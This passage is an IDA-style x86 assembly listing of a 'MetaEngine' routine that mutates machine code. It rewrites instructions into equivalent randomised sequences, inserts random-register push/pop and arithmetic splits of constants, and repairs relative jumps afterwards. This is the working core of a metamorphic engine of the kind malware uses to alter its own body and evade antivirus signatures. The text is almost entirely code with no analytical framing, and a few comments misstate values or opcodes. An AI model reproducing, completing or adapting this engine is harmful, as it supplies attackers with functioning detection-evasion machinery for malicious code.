MetaEngine+2FBj 443 | call Random ; get random 444 | and al, 11b ; make it between 1 - 3 445 | jz short MakeAddRegRandom8 ; if it's zero, try again 446 | mov dh, al ; dh = random selection 447 | movsb ; store opcode 448 | call Random ; get random number 449 | mov cl, al ; save it in CL 450 | stosb ; store random byte 451 | mov al, 80h ; al = ADC/ADD/AND/CMP/OR/SBB/SUB/XOR 452 | stosb ; store operation 453 | mov al, [esi-1] ; get original instruction opcode 454 | sub al, 0B0h ; subtract opcode, al = register used 455 | cmp dh, 2 ; if random == 2, Generate SUB 456 | jz short MakeSubRegRandom8 457 | cmp dh, 3 ; if random == 3, Generate XOR 458 | jz short MakeXorRegRandom8 459 | or al, 11000000b ; Generate ADD (ModRM = 11 000 reg) 460 | stosb ; store ModRM 461 | lodsb ; load the original immediate value 462 | sub al, cl ; subtract the random value 463 | stosb ; store 464 | jmp LoadInstruction 465 | ; ___________________________________________________________________________ 466 | 467 | MakeSubRegRandom8: ; CODE XREF: MetaEngine+313j 468 | or al, 11101000b ; Generate SUB (ModRM = 11 101 reg) 469 | stosb ; store ModRM 470 | lodsb ; load the original immediate value 471 | sub al, cl ; al -= random value 472 | mov ah, al ; save al in ah 473 | mov al, 0 474 | sub al, ah ; al = -al 475 | stosb ; store 476 | jmp LoadInstruction 477 | ; ___________________________________________________________________________ 478 | 479 | MakeXorRegRandom8: ; CODE XREF: MetaEngine+318j 480 | or al, 11110000b ; Generate XOR (ModRM = 11 110 reg) 481 | stosb ; store ModRM 482 | lodsb ; load the original immediate value 483 | xor al, cl ; xor the value with a random value 484 | stosb ; store 485 | jmp LoadInstruction 486 | ; ___________________________________________________________________________ 487 | 488 | isMovReg32Imm32: ; CODE XREF: MetaEngine+2E0j 489 | ; MetaEngine+2E4j 490 | cmp al, 0B8h ; MOV r32, imm32? 491 | jb short MakeMovPush1 492 | cmp al, 0C0h ; check if it's between B8 - C0 493 | jnb short MakeMovPush1 494 | call Rnd7 ; returns random eax (0 to 7) 495 | jz short MakeAddRegRandom32 ; mutate? 496 | mov cl, 5 ; skip 497 | jmp StoreBytes 498 | ; ___________________________________________________________________________ 499 | 500 | MakeAddRegRandom32: ; CODE XREF: MetaEngine+351j 501 | ; MetaEngine+363j 502 | call Random ; get random number 503 | and al, 11b ; make it between 1 - 3 504 | cmp al, 0 ; if it's zero, 505 | jz short MakeAddRegRandom32 ; then try again 506 | mov ah, al ; ah = random selection 507 | movsb ; store opcode 508 | call GetRandomDword ; returns a random dword in EAX 509 | mov ecx, eax ; ecx = random dword 510 | stosd ; store random dword 511 | mov al, 81h ; al = ADC/ADD/AND/CMP/OR/SBB/SUB/XOR 512 | stosb ; store operation 513 | mov al, [esi-1] ; get original instruction opcode 514 | sub al, 0B8h ; get the register used 515 | cmp al, 2 ; if random == 2, Generate SUB 516 | jz short MakeSubRegRandom32 517 | cmp al, 3 ; if random == 3, Generate XOR 518 | jz short MakeXorRegRandom32 519 | or al, 11000000b ; Generate ADD (ModRM = 11 000 reg) 520 | stosb ; store ModRM 521 | lodsd ; load the original immediate value 522 | sub eax, ecx ; subtract the random value 523 | stosd ; store 524 | jmp LoadInstruction 525 | ; ___________________________________________________________________________ 526 | 527 | MakeSubRegRandom32: ; CODE XREF: MetaEngine+37Aj 528 | or al, 11101000b ; Generate SUB (ModRM = 11 101 reg) 529 | stosb ; store ModRM 530 | lodsd ; load the original immediate value 531 | sub eax, ecx ; eax -= random 532 | mov ecx, eax ; save eax 533 | mov eax, 0 534 | sub eax, ecx ; eax = -eax 535 | stosd ; store 536 | jmp LoadInstruction 537 | ; ___________________________________________________________________________ 538 | 539 | MakeXorRegRandom32: ; CODE XREF: MetaEngine+37Ej 540 | or al, 11110000b ; Generate XOR (ModRM = 11 110 reg) 541 | stosb ; store ModRM 542 | lodsd ; load the original immediate value 543 | xor eax, ecx ; xor the value with a random value 544 | stosd ; store 545 | jmp LoadInstruction 546 | ; ___________________________________________________________________________ 547 | 548 | MakeMovPush1: ; CODE XREF: MetaEngine+346j 549 | ; MetaEngine+34Aj 550 | cmp al, 68h ; PUSH imm32? 551 | jnz short MakeMovPush2 552 | add esi, 1 ; increase code pointer 553 | mov al, 0B8h ; Generate MOV r32, imm32 554 | stosb ; store 555 | movsd ; write next 4 bytes 556 | mov al, 50h ; Generate PUSH r32 557 | stosb ; store 558 | jmp LoadInstruction 559 | ; ___________________________________________________________________________ 560 | 561 | MakeMovPush2: ; CODE XREF: MetaEngine+3AFj 562 | cmp al, 6Ah ; PUSH imm8? 563 | jnz short MakeMOVSB 564 | add esi, 1 ; increase code pointer 565 | mov al, 0B8h ; make MOV r32, imm32 566 | stosb ; store 567 | lodsb ; load byte (imm8) 568 | call InvertSign 569 | stosd ; store dword (imm32) 570 | mov al, 50h ; make PUSH r32 571 | stosb ; store 572 | jmp LoadInstruction 573 | ; ___________________________________________________________________________ 574 | 575 | MakeMOVSB: ; CODE XREF: MetaEngine+3C2j 576 | cmp al, 0A4h ; MOVSB? 577 | jnz short MakeMOVSD 578 | add esi, 1 ; Replace A4 with the following sequence: 579 | mov eax, 83068A50h ; 50 push eax 580 | stosd ; 8A 06 mov al, [esi] 581 | mov eax, 78801C6h ; 83 C6 01 add esi, 1 582 | stosd ; 88 07 mov [edi], al 583 | mov eax, 5801C783h ; 83 C7 01 add edi, 1 584 | stosd ; 58 pop eax 585 | jmp LoadInstruction 586 | ; ___________________________________________________________________________ 587 | 588 | MakeMOVSD: ; CODE XREF: MetaEngine+3DBj 589 | cmp al, 0A5h ; MOVSD? 590 | jnz short MakeSTOSB 591 | add esi, 1 ; Replace A5 with the following sequence: 592 | mov eax, 83068B50h ; 50 push eax 593 | stosd ; 8B 06 mov eax, [esi] 594 | mov eax, 78904C6h ; 83 C6 04 add esi, 4 595 | stosd ; 89 07 mov [edi], eax 596 | mov eax, 5804C783h ; 83 C7 04 add edi, 4 597 | stosd ; 58 pop eax 598 | jmp LoadInstruction 599 | ; ___________________________________________________________________________ 600 | 601 | MakeSTOSB: ; CODE XREF: MetaEngine+3F9j 602 | cmp al, 0AAh ; STOSB? 603 | jnz short MakeSTOSD 604 | add esi, 1 ; Replace AA with the following sequence: 605 | mov eax, 0C7830788h ; 88 07 mov [edi], al 606 | stosd ; 83 C7 01 add edi, 1 607 | mov al, 1 608 | stosb 609 | jmp LoadInstruction 610 | ; ___________________________________________________________________________ 611 | 612 | MakeSTOSD: ; CODE XREF: MetaEngine+417j 613 | cmp al, 0ABh ; STOSD? 614 | jnz short MakeLODSB 615 | add esi, 1 ; Replace AB with the following sequence: 616 | mov eax, 0C7830789h ; 88 07 mov [edi], eax 617 | stosd ; 83 C7 04 add edi, 4 618 | mov al, 4 619 | stosb 620 | jmp LoadInstruction 621 | ; ___________________________________________________________________________ 622 | 623 | MakeLODSB: ; CODE XREF: MetaEngine+42Cj 624 | cmp al, 0ACh ; LODSB? 625 | jnz short MakeLODSD 626 | add esi, 1 ; Replace AC with the following sequence: 627 | mov eax, 0C683068Ah ; 8A 06 mov al, [esi] 628 | stosd ; 83 C6 01 add esi, 1 629 | mov al, 1 630 | stosb 631 | jmp LoadInstruction 632 | ; ___________________________________________________________________________ 633 | 634 | MakeLODSD: ; CODE XREF: MetaEngine+441j 635 | cmp al, 0ADh ; LODSD? 636 | jnz short MakeOpRm8Imm8 637 | add esi, 1 ; Replace AD with the following sequence: 638 | mov eax, 0C683068Bh ; 8B 06 mov eax, [esi] 639 | stosd ; 83 C6 04 add esi, 4 640 | mov al, 4 641 | stosb 642 | jmp LoadInstruction 643 | ; ___________________________________________________________________________ 644 | 645 | MakeOpRm8Imm8: ; CODE XREF: MetaEngine+456j 646 | cmp al, 40h ; opcode < 40? 647 | jnb short MakeTestImm8 648 | mov ah, al 649 | and ah, 111b ; save last 3 bits 650 | cmp ah, 4 ; OP AL, imm8? 651 | jnz short MakeOpEaxImm32 652 | mov al, 80h ; Generate OP r/m8, imm8 653 | ; ADC/ADD/AND/CMP/OR/SBB/SUB/XOR 654 | stosb 655 | mov al, [esi] ; load the same instruction again 656 | and al, 111000b ; keep the [reg/opcode] field 657 | or al, 11000000b ; set [mod] = 11 658 | stosb ; store 659 | add esi, 1 ; increase code pointer 660 | movsb ; copy imm8 byte 661 | jmp LoadInstruction 662 | ; ___________________________________________________________________________ 663 | 664 | MakeTestImm8: ; CODE XREF: MetaEngine+46Bj 665 | cmp al, 0A8h ; TEST AL, imm8? 666 | jnz short MakeOpEaxImm32 667 | add esi, 1 ; incrase code pointer by 1 668 | mov al, 0F6h ; Replace A8 with the following sequence: 669 | stosb ; F6 C0 xx test al, xx 670 | mov al, 0C0h 671 | stosb 672 | movsb ; load and store immediate byte 673 | jmp LoadInstruction 674 | ; ___________________________________________________________________________ 675 | 676 | MakeOpEaxImm32: ; CODE XREF: MetaEngine+475j 677 | ; MetaEngine+48Cj 678 | cmp al, 40h ; opcode < 40? 679 | jnb short MakeTestEaxImm32 680 | mov ah, al ; ah = opcode 681 | and ah, 111b ; save last 3 bits 682 | cmp ah, 5 ; OP EAX, imm32? 683 | jnz short isOp8Imm8 684 | mov al, 81h ; Generate OP r/m32, imm32 685 | ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR) 686 | stosb ; store 687 | mov al, [esi] ; al = current opcode 688 | and al, 111000b ; keep the [opcode] field 689 | or al, 11000000b ; set [mod] = 11 690 | stosb ; store ModRM byte 691 | add esi, 1 ; increase code pointer 692 | movsd ; copy immediate dword 693 | jmp LoadInstruction 694 | ; ___________________________________________________________________________ 695 | 696 | MakeTestEaxImm32: ; CODE XREF: MetaEngine+49Fj 697 | cmp al, 0A9h ; TEST EAX, imm32? 698 | jnz short isOp8Imm8 699 | add esi, 1 ; Replace A8 with the following sequence: 700 | mov al, 0F7h ; F6 0C DD CC BB AA test eax, AABBCCDDh 701 | stosb 702 | mov al, 0C0h 703 | stosb 704 | movsd ; load and store immediate dword 705 | jmp LoadInstruction 706 | ; ___________________________________________________________________________ 707 | 708 | isOp8Imm8: ; CODE XREF: MetaEngine+4A9j 709 | ; MetaEngine+4C0j 710 | mov ah, al 711 | and ah, 11111110b ; save all bits, but the 'w' bit 712 | cmp ah, 80h ; OP r/m8,imm8? 713 | ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR) 714 | jz short SaveOpcodeField 715 | cmp ah, 0C6h ; MOV r/m8, imm8? 716 | jz short SaveMovImm8Opcode 717 | cmp ah, 0F6h ; OP r/m8? 718 | ; (DIV/IDIV/IMUL/MUL/NEG/NOT/TEST) 719 | jnz short Change8bitTo32bit 720 | mov bh, 84h ; bh = TEST r/m8, r8 721 | jmp short __jmp_Mutate 722 | ; ___________________________________________________________________________ 723 | 724 | SaveOpcodeField: ; CODE XREF: MetaEngine+4D9j 725 | mov bh, [esi+1] ; bh = ModRM of 80h 726 | and bh, 111000b ; save [reg/opcode] field 727 | jmp short __jmp_Mutate ; mutate 728 | ; ___________________________________________________________________________ 729 | 730 | SaveMovImm8Opcode: ; CODE XREF: MetaEngine+4DEj 731 | mov bh, 88h ; bh = MOV r/m8, r8 732 | 733 | __jmp_Mutate: ; CODE XREF: MetaEngine+4E7j 734 | ; MetaEngine+4EFj 735 | jmp Morph4 ; mutate 736 | ; ___________________________________________________________________________ 737 | 738 | Change8bitTo32bit: ; CODE XREF: MetaEngine+4E3j 739 | cmp al, 83h ; OP r/m32, imm8? 740 | ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR) 741 | jnz short AbortEngine 742 | mov al, 81h ; OP r/m32, imm32 743 | stosb ; store 744 | mov al, [esi+1] ; al = ModRM 745 | stosb ; store 746 | call CheckDisplacement ; returns cl: 0, 1 or 4 747 | add esi, 2 ; increase code pointer by 2 748 | rep movsb ; copy displacement 749 | lodsb ; load one byte 750 | call InvertSign 751 | stosd ; store dword 752 | jmp LoadInstruction 753 | ; ___________________________________________________________________________ 754 | 755 | FixRelocations: ; CODE XREF: MetaEngine+43j 756 | ; print "FixRelocations", 10, 13 757 | mov ebx, edi 758 | sub ebx, [ebp+outBuf] ; ebx = size of output buffer 759 | mov esi, [ebp+RelocStart] ; esi = beginning of relocation table 760 | 761 | AnalyzeCurrentEntry: ; CODE XREF: MetaEngine+52Fj 762 | ; MetaEngine+555j 763 | add esi, 10h ; esi += 16 764 | cmp esi, [ebp+RelocCurrent] ; are we finished? 765 | jz short ReturnSuccess 766 | mov edi, [esi+8] ; Pointer to offset of New Relative 767 | cmp edi, 0 ; is it blank? 768 | jz short AnalyzeCurrentEntry ; process next instruction 769 | mov edx, [esi+0Ch] ; get New Relative Value 770 | add edx, [esi] ; edx = InputIP + NewRelative 771 | mov ecx, [ebp+RelocStart] ; ecx = pointer to disassembled code 772 | sub ecx, 10h ; ecx -= 16 (for inter-loop reasons) 773 | 774 | NextEntry: ; CODE XREF: MetaEngine+54Aj 775 | add ecx, 10h ; check next entry 776 | cmp ecx, [ebp+RelocCurrent] ; are we done? 777 | jnz short LoopOverFirstEntry ; no, proceed to loop over 1st field entries 778 | mov ecx, [esi] ; Save the InputIP 779 | jmp short ReturnZero 780 | ; ___________________________________________________________________________ 781 | 782 | LoopOverFirstEntry: ; CODE XREF: MetaEngine+542j 783 | cmp [ecx], edx ; edx = InputIP + NewRelative 784 | ; *ecx = InputIP 785 | jnz short NextEntry 786 | mov eax, [ecx+4] ; eax = OutputIP 787 | sub eax, edi ; eax = OutputIP - 788 | ; OffsetNewNewRelative 789 | sub eax, 4 ; eax -= 4, due to earlier calculations 790 | stosd ; store NewRelative in OffsetNewRelative 791 | jmp short AnalyzeCurrentEntry 792 | ; ___________________________________________________________________________ 793 | 794 | ReturnSuccess: ; CODE XREF: MetaEngine+527j 795 | mov eax, ebx ; eax = size of buffer 796 | jmp short FreeMemory 797 | ; ___________________________________________________________________________ 798 | 799 | AbortEngine: ; CODE XREF: MetaEngine+14Bj 800 | ; MetaEngine+154j ... 801 | mov ecx, esi ; ecx = pointer to code 802 | 803 | ReturnZero: ; CODE XREF: MetaEngine+546j 804 | xor eax, eax ; eax = 0 805 | 806 | FreeMemory: ; CODE XREF: MetaEngine+559j 807 | ; print "FreeMemory", 10, 13 808 | push eax ; save return value 809 | mov eax, [ebp+RelocStart] ; eax = start of disassembly buffer 810 | push eax 811 | call callVirtualFree ; free memory 812 | pop eax ; restore return value 813 | pop edi 814 | pop esi ; restore registers 815 | pop ebx 816 | add esp, 8 817 | pop ebp 818 | nop 819 | retn 0Ch 820 | 821 | ; ___________________________________________________________________________ 822 | ; START OF FUNCTION CHUNK FOR MetaEngine 823 | 824 | StoreDisplacementPlus2: ; CODE XREF: MetaEngine+22Bj 825 | ; MetaEngine+27Aj ... 826 | call CheckDisplacement ; returns cl: 0, 1 or 4 827 | add cl, 2 ; 2 more bytes 828 | 829 | StoreBytes: ; CODE XREF: MetaEngine+18Ej 830 | ; MetaEngine+1AEj ... 831 | and ecx, 0FFh ; and the cl bits 832 | rep movsb ; write until cl = 0 833 | jmp LoadInstruction 834 | ; END OF FUNCTION CHUNK FOR MetaEngine 835 | 836 | ; ___________________________________________________________________________ 837 | ; START OF FUNCTION CHUNK FOR MetaEngine 838 | 839 | Morph1: ; CODE XREF: MetaEngine+249j 840 | ; MetaEngine+298j 841 | mov bh, 0 ; if bh == 0, choose random reg 842 | call GetWBit ; dl = *esi & 1 843 | call GetRandomReg32 844 | add al, 50h ; Generate PUSH RandomReg 845 | stosb ; store 846 | mov al, 89h ; Generate MOV r/m32, r32 847 | stosb ; store 848 | mov al, [esi+1] ; al = original ModRM 849 | and al, 111b ; save last 3 bits 850 | rol al, 3 ; place original register in the [reg/opcode] field 851 | or al, 11000000b ; set [mod] = 11 852 | add al, bl ; set [reg] field = radnom register 853 | stosb ; store 854 | mov al, [esi+1] ; al = original ModRM 855 | and al, 10000000b 856 | cmp al, 0 ; if [mod] != 0 857 | jnz short GenAddRandomReg32 858 | mov cl, [esi+2] ; cl = imm8 859 | mov al, 83h ; al = OP r/m32, imm8 860 | ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR) 861 | stosb ; store 862 | mov al, bl ; al = random reg 863 | or al, 11000000b ; set [mod] = 11, [reg/opcode] = ADD 864 | cmp cl, 0 ; check the sign of CL 865 | js short GenSubRandomReg8 866 | stosb ; store 867 | call Random ; get random number 868 | and al, 7Fh ; set it between 0 - 7F 869 | stosb ; store 870 | sub cl, al ; cl -= radnom 871 | jmp short GenOpRegRandomReg8 872 | ; ___________________________________________________________________________ 873 | 874 | GenSubRandomReg8: ; CODE XREF: MetaEngine+633j 875 | or al, 101000b ; set [reg/opcode] field = 101 (SUB) 876 | stosb ; store 877 | call Random ; get random number 878 | and al, 7Fh ; set it between 0 - 7F 879 | stosb ; store 880 | add cl, al ; cl += random 881 | 882 | GenOpRegRandomReg8: ; CODE XREF: MetaEngine+640j 883 | movsb ; copy original opcode byte 884 | lodsb ; al = ModRM 885 | and al, 11111000b ; save [mod] and [reg/opcode] fields 886 | add al, bl ; add random register 887 | stosb ; store 888 | mov al, cl ; al = random number 889 | stosb ; store 890 | add esi, 1 ; increase code counter 891 | jmp short GenPopRandomReg 892 | ; ___________________________________________________________________________ 893 | 894 | GenAddRandomReg32: ; CODE XREF: MetaEngine+624j 895 | mov ecx, [esi+2] ; ecx = imm32 896 | mov al, 81h ; al = OP r/m32, imm32 897 | ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR) 898 | stosb ; store 899 | mov al, bl ; al = random register 900 | or al, 11000000b ; set [mod] = 11, [reg/opcode] = ADD 901 | cmp ecx, 0 ; check sign of imm32 902 | js short GenSubRandomReg32 903 | stosb ; store 904 | call Random ; get random number 905 | and eax, 7FFh ; set it between 0 - 77F 906 | stosd ; store dword 907 | sub ecx, eax ; ecx -= random 908 | jmp short GenOpRegRandomReg32 909 | ; ___________________________________________________________________________ 910 | 911 | GenSubRandomReg32: ; CODE XREF: MetaEngine+66Bj 912 | or al, 101000b ; set [reg/opcode] field = 101 (SUB) 913 | stosb ; store 914 | call Random ; get random number 915 | and eax, 77Fh ; set it between 0 - 77F 916 | stosd ; store dword 917 | add ecx, eax ; ecx += random 918 | 919 | GenOpRegRandomReg32: ; CODE XREF: MetaEngine+67Bj 920 | movsb ; copy original opcode byte 921 | lodsb ; al = ModRM 922 | and al, 11111000b ; clear the [reg] field 923 | add al, bl ; add random reg 924 | stosb ; store 925 | mov eax, ecx ; eax = random dword 926 | stosd ; store dword 927 | add esi, 4 ; incrase code pointer by 4 928 | 929 | GenPopRandomReg: ; CODE XREF: MetaEngine+65Cj 930 | mov al, bl ; al = random register 931 | add al, 58h ; Generate POP RandomReg 932 | stosb ; store 933 | jmp LoadInstruction 934 | ; END OF FUNCTION CHUNK FOR MetaEngine 935 | 936 | ; ___________________________________________________________________________ 937 | ; START OF FUNCTION CHUNK FOR MetaEngine 938 | 939 | Morph2: ; CODE XREF: MetaEngine:jmp_Mutatej 940 | mov bh, 0 941 | call GetRandomReg8 ; returns: bl = random reg value (0-7) 942 | call MakePushRandomReg ; store (bl & dh) + 50h 943 | mov al, 8Ah ; Generate MOV r8,r/m8 944 | add al, dl ; dl = w bit 945 | stosb ; store (8A or 8B) 946 | mov al, [esi+1] ; al = ModRM 947 | and al, 111000b ; save the [reg/opcode] field 948 | ror al, 3 ; move first reg to the [reg] field 949 | mov ah, bl ; ah = random reg 950 | rol ah, 3 ; move random reg ro the [reg/opcode] field 951 | add al, ah ; add it 952 | or al, 11000000b ; set [mod] = 11 953 | stosb ; store 954 | mov al, [esi] ; al = original opcode 955 | stosb ; store 956 | mov al, [esi+1] ; al = ModRM 957 | and al, 11000111b ; save [reg/opcode] field 958 | mov ah, bl ; ah = random reg 959 | rol ah, 3 ; save random reg in the [reg/opcode] field 960 | add al, ah ; add random reg to ModRM 961 | stosb ; store 962 | call CheckDisplacement ; returns cl: 0, 1 or 4 963 | add esi, 2 ; increase code pointer by 2 964 | rep movsb ; copy displacement 965 | call MakePopRandomReg ; store (bl & dh) + 58h 966 | jmp LoadInstruction 967 | ; ___________________________________________________________________________ 968 | 969 | Morph3: ; CODE XREF: MetaEngine:_jmp_Mutatej 970 | mov bh, 0 971 | call GetRandomReg8 ; returns: bl = random reg value (0-7) 972 | call MakePushRandomReg ; store (bl & dh) + 50h 973 | mov al, [esi] ; al = opcode 974 | and al, 11111110b ; clear w bit 975 | cmp al, 8Ah ; MOV r8, r/m8? 976 | jz short Morph3_Continue ; jump to 8 bit version 977 | mov al, 88h ; Generate MOV r32, r/m32 978 | add al, dl ; add the w bit 979 | stosb ; store 980 | mov al, [esi+1] ; al = ModRM 981 | and al, 111000b ; clear the [reg] field 982 | add al, bl ; add random register 983 | or al, 11000000b ; set [mod] = 11 984 | stosb ; store 985 | 986 | Morph3_Continue: ; CODE XREF: MetaEngine+78Aj 987 | mov al, [esi] ; al = original opcode 988 | mov dh, al ; dh = original opcode 989 | stosb ; store 990 | mov al, [esi+1] ; al = ModRM 991 | and al, 11000111b ; clear [reg/opcode] field 992 | mov ah, bl ; ah = random register 993 | rol ah, 3 ; place it in the [reg/opcode] field 994 | add al, ah ; add to ModRM 995 | stosb ; store ModRM 996 | mov bh, [esi+1] ; bh = original ModRM 997 | call CheckDisplacement ; returns cl: 0, 1 or 4 998 | add esi, 2 ; increase code counter by 2 999 | rep movsb ; copy displacement 1000 | mov al, dh ; al = opcode 1001 | call ModifyDh ; returns: dh(w=1)=FB; dh(w=0)=FF; 1002 | and al, 11111110b ; clear w bit 1003 | cmp al, 3Ah ; CMP r8, r/m8? 1004 | jz short Wrap_Morph3 1005 | mov al, 8Ah ; al = MOV r8, r/m8, direction flag set 1006 | add al, dl ; add the w bit 1007 | stosb ; store opcode 1008 | mov al, bh ; al = original ModRM 1009 | and al, 111000b ; clear the [reg] field 1010 | add al, bl ; add random register 1011 | or al, 11000000b ; set [mod] = 11 1012 | stosb 1013 | 1014 | Wrap_Morph3: ; CODE XREF: MetaEngine+7C5j 1015 | call MakePopRandomReg ; store (bl & dh) + 58h 1016 | jmp LoadInstruction 1017 | ; ___________________________________________________________________________ 1018 | 1019 | Morph4: ; CODE XREF: MetaEngine:__jmp_Mutatej 1020 | call GetRandomReg8 ; returns: bl = random reg value (0-7) 1021 | call MakePushRandomReg ; store (bl & dh) + 50h 1022 | mov al, dl ; al = w bit 1023 | rol al, 3 ; move the w bit 3 bits left 1024 | add al, 0B0h ; Generate MOV r8/32, imm8/32 1025 | ; B0 = 1011 w reg 1026 | add al, bl ; add random register 1027 | stosb ; store 1028 | call CheckDisplacement ; returns cl: 0, 1 or 4 1029 | add ecx, esi ; add location+displacement 1030 | mov eax, [ecx+2] ; eax = original immediate 1031 | cmp dl, 0 ; check the w bit 1032 | jz short StoreOneByte ; store one byte 1033 | stosd ; store dword 1034 | jmp short Morph4_Continue 1035 | ; ___________________________________________________________________________ 1036 | 1037 | StoreOneByte: ; CODE XREF: MetaEngine+800j 1038 | stosb ; store one byte 1039 | 1040 | Morph4_Continue: ; CODE XREF: MetaEngine+803j 1041 | mov al, bh ; bh = opcode saved before call to this routine 1042 | add al, dl ; add the w bit 1043 | stosb ; store 1044 | mov al, [esi+1] ; al = original ModRM 1045 | and al, 11000111b ; clear the [reg/opcode] field 1046 | mov ah, bl ; ah = random reg 1047 | rol ah, 3 ; place it in the [reg/opcode] field 1048 | add al, ah ; add to ModRM byte 1049 | stosb ; store 1050 | call CheckDisplacement ; returns cl: 0, 1 or 4 1051 | add esi, 2 ; increase code pointer by 2 1052 | rep movsb ; copy displacement 1053 | add esi, 1 ; increase code pointer 1054 | cmp dl, 0 ; check w bit 1055 | jz short Wrap_Morph4 1056 | add esi, 3 ; increase code pointer by 3 1057 | 1058 | Wrap_Morph4: ; CODE XREF: MetaEngine+828j 1059 | call MakePopRandomReg ; store (bl & dh) + 58h 1060 | jmp LoadInstruction 1061 | ; END OF FUNCTION CHUNK FOR MetaEngine 1062 | MetaEngine endp 1063 | 1064 | 1065 | ; _______________ S U B R O U T I N E _______________________________________ 1066 | 1067 | ; returns random eax (0 to 7) 1068 | 1069 | Rnd7 proc near ; CODE XREF: MetaEngine+77p 1070 | ; MetaEngine:Mutate?p ... 1071 | call Random 1072 | and eax, 7 1073 | cmp eax, 0 1074 | retn 1075 | Rnd7 endp 1076 | 1077 | ; _______________ S U B R O U T I N E _______________________________________ 1078 | 1079 | ; returns cl: 0, 1 or 4 1080 | 1081 | CheckDisplacement proc near ; CODE XREF: MetaEngine+2CCp 1082 | ; MetaEngine+503p ... 1083 | xor ecx, ecx ; ecx = 0 1084 | mov cl, [esi+1] ; cl = ModRM 1085 | and cl, 11000000b 1086 | cmp cl, 0 ; [mod] == 00? 1087 | jz short ret_CheckDisplacement 1088 | cmp cl, 11000000b ; [mod] == 11? 1089 | jnz short isMod01 1090 | mov cl, 0 ; no displacement 1091 | jmp short ret_CheckDisplacement 1092 | ; ___________________________________________________________________________ 1093 | 1094 | isMod01: ; CODE XREF: CheckDisplacement+10j 1095 | cmp cl, 1000000b ; [mod] == 01? 1096 | jnz short Mod10 1097 | mov cl, 1 ; 1 byte displacement 1098 | jmp short ret_CheckDisplacement 1099 | ; ___________________________________________________________________________ 1100 | 1101 | Mod10: ; CODE XREF: CheckDisplacement+19j 1102 | mov cl, 4 ; 4 bytes displacement 1103 | 1104 | ret_CheckDisplacement: ; CODE XREF: CheckDisplacement+Bj 1105 | ; CheckDisplacement+14j ... 1106 | retn 1107 | CheckDisplacement endp 1108 | 1109 | 1110 | ; _______________ S U B R O U T I N E _______________________________________ 1111 | 1112 | 1113 | InvertSign proc near ; CODE XREF: MetaEngine+126p 1114 | ; MetaEngine+3CBp ... 1115 | push ecx 1116 | xor ecx, ecx ; ecx = 0 1117 | cmp al, 0 1118 | jns short DontInvert 1119 | sub ecx, 1 1120 | 1121 | DontInvert: ; CODE XREF: InvertSign+5j 1122 | mov cl, al 1123 | mov eax, ecx ; return value in eax 1124 | pop ecx 1125 | retn 1126 | InvertSign endp 1127 | 1128 | 1129 | ; _______________ S U B R O U T I N E _______________________________________ 1130 | 1131 | ; returns a random dword in EAX 1132 | ; Attributes: bp-based frame 1133 | 1134 | GetRandomDword proc near ; CODE XREF: MetaEngine+B5p 1135 | ; MetaEngine+DAp ... 1136 | push ebp 1137 | mov ebp, esp 1138 | push ecx 1139 | push edx 1140 | call Random 1141 | mov edx, eax 1142 | call Random 1143 | and al, 11111b 1144 | mov cl, al 1145 | mov eax, 0FFFFFF00h 1146 | rol eax, cl 1147 | and edx, eax 1148 | call Random 1149 | and al, 11111b 1150 | mov cl, al 1151 | mov eax, 0FFFFFF00h 1152 | rol eax, cl 1153 | and edx, eax 1154 | mov eax, edx 1155 | pop edx 1156 | pop ecx 1157 | pop ebp 1158 | retn 1159 | GetRandomDword endp 1160 | 1161 | ; _______________ S U B R O U T I N E _______________________________________ 1162 | 1163 | ; dl = *esi & 1 1164 | 1165 | GetWBit proc near ; CODE XREF: MetaEngine+600p 1166 | ; GetRandomReg8p 1167 | mov dl, [esi] 1168 | and dl, 1 1169 | GetWBit endp 1170 | 1171 | 1172 | ; _______________ S U B R O U T I N E _______________________________________ 1173 | 1174 | ; returns: dh(w=1)=FB; dh(w=0)=FF; 1175 | 1176 | ModifyDh proc near ; CODE XREF: MetaEngine+7BCp 1177 | mov dh, dl ; dh = w bit 1178 | xor dh, 1 ; inverse 1179 | rol dh, 2 1180 | xor dh, 11111111b 1181 | retn 1182 | ModifyDh endp 1183 | 1184 | 1185 | ; _______________ S U B R O U T I N E _______________________________________ 1186 | 1187 | ; returns: bl = random reg value (0-7) 1188 | 1189 | GetRandomReg8 proc near ; CODE XREF: MetaEngine+733p 1190 | ; MetaEngine+77Ap ... 1191 | call GetWBit ; dl = *esi & 1 1192 | cmp dl, 0 ; is it 8bit? 1193 | jnz short GetRandomReg32 ; no, go to the 32bit version 1194 | 1195 | GetReg8: ; CODE XREF: GetRandomReg8+24j 1196 | ; GetRandomReg8+38j 1197 | call Random ; get random number 1198 | and al, 111b ; make it bwtween 0-7 1199 | mov cl, al ; cl = random number 1200 | and cl, dh 1201 | mov ch, [esi+1] ; ch = ModRM 1202 | cmp ch, 11000000b 1203 | jb short CheckReg8 1204 | and ch, dh 1205 | 1206 | CheckReg8: ; CODE XREF: GetRandomReg8+1Bj 1207 | and ch, 111b ; keep the last 3 bits 1208 | cmp cl, ch ; the same register? 1209 | jz short GetReg8 ; get another one 1210 | cmp bh, 0 1211 | jnz short ret_RandomReg8 1212 | mov ch, [esi+1] ; ch = ModRM 1213 | ror ch, 3 ; check the [reg/opcode] field 1214 | and ch, 111b 1215 | and ch, dh 1216 | cmp cl, ch ; the same register? 1217 | jz short GetReg8 ; get another one 1218 | 1219 | ret_RandomReg8: ; CODE XREF: GetRandomReg8+29j 1220 | mov bl, al ; bl = random register 1221 | retn 1222 | GetRandomReg8 endp 1223 | 1224 | 1225 | ; _______________ S U B R O U T I N E _______________________________________ 1226 | 1227 | 1228 | GetRandomReg32 proc near ; CODE XREF: MetaEngine+605p 1229 | ; GetRandomReg8+8j ... 1230 | call Random ; get random number 1231 | and al, 111b ; make it between 0-7 (a register) 1232 | cmp al, 4 ; ESP? 1233 | jz short GetRandomReg32 ; avoid 1234 | cmp al, 5 ; EBP? 1235 | jz short GetRandomReg32 ; avoid 1236 | mov cl, al ; cl = random reg 1237 | mov ch, [esi+1] ; ch = ModRM 1238 | cmp ch, 11000000b 1239 | jb short loc_40270A 1240 | and cl, dh 1241 | and ch, dh 1242 | 1243 | loc_40270A: ; CODE XREF: GetRandomReg32+17j 1244 | and ch, 111b ; keep last 3 bits 1245 | cmp cl, ch ; is the [reg] field in ModRM == random reg? 1246 | jz short GetRandomReg32 ; yes, choose another register 1247 | cmp bh, 